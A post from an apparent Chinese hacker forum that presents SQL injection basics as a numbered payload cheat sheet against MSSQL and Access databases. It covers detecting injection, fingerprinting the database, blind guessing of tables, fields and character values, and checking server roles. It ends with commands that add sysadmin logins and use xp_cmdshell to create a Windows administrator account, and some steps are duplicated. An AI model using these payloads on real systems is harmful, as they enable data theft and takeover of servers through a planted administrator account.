• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

SQL注入基础


Nacker

Recommended Posts

(Injection Attack(SQL注入攻击基本原理)

网站上有很多让用户输出的地方,只要有一处没有对用户的查询内容进行充分的过滤,都有可能造成黑客们对SQL注入漏洞的利用。黑客们可以借助这种技术操纵Web服务器发送给后台数据库的SQL查询语句。附上一张来自CSDN博客的图片,方便理解。

SouthEast

尝试:

手动检测SQL注入漏洞,第一个先尝试单引号。如果这里有SQL注入漏洞,那么这将引发错误(如果你看到后面变成了%27,那基本就是没有了)。

1.http://xxx.xxx.com/index.php?id=1'

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ’’=’

4.搜索时没过滤参数的’and [查询条件] and ’%25’=’

5.判断数据库系统
;and (select count() from sysobjects)>0 mssql
;and (select count(
) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符’and [查询条件] and ’’=’

4.搜索时没过滤参数的’and [查询条件] and ’%25’=’

5.判断数据库系统
;and (select count() from sysobjects)>0 mssql
;and (select count(
) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));–
;and 1=(select IS_MEMBER(’db_owner’));–

11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;–

;exec master.dbo.sp_password null,username,password;–

;exec master.dbo.sp_addsrvrolemember sysadmin username;–

;exec master.dbo.xp_cmdshell ’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;–

;exec master.dbo.xp_cmdshell ’net user username password /add’;–

;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;-

建议链接https://blog.csdn.net/jn_06/article/details/85256697(转载其实例语句)

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now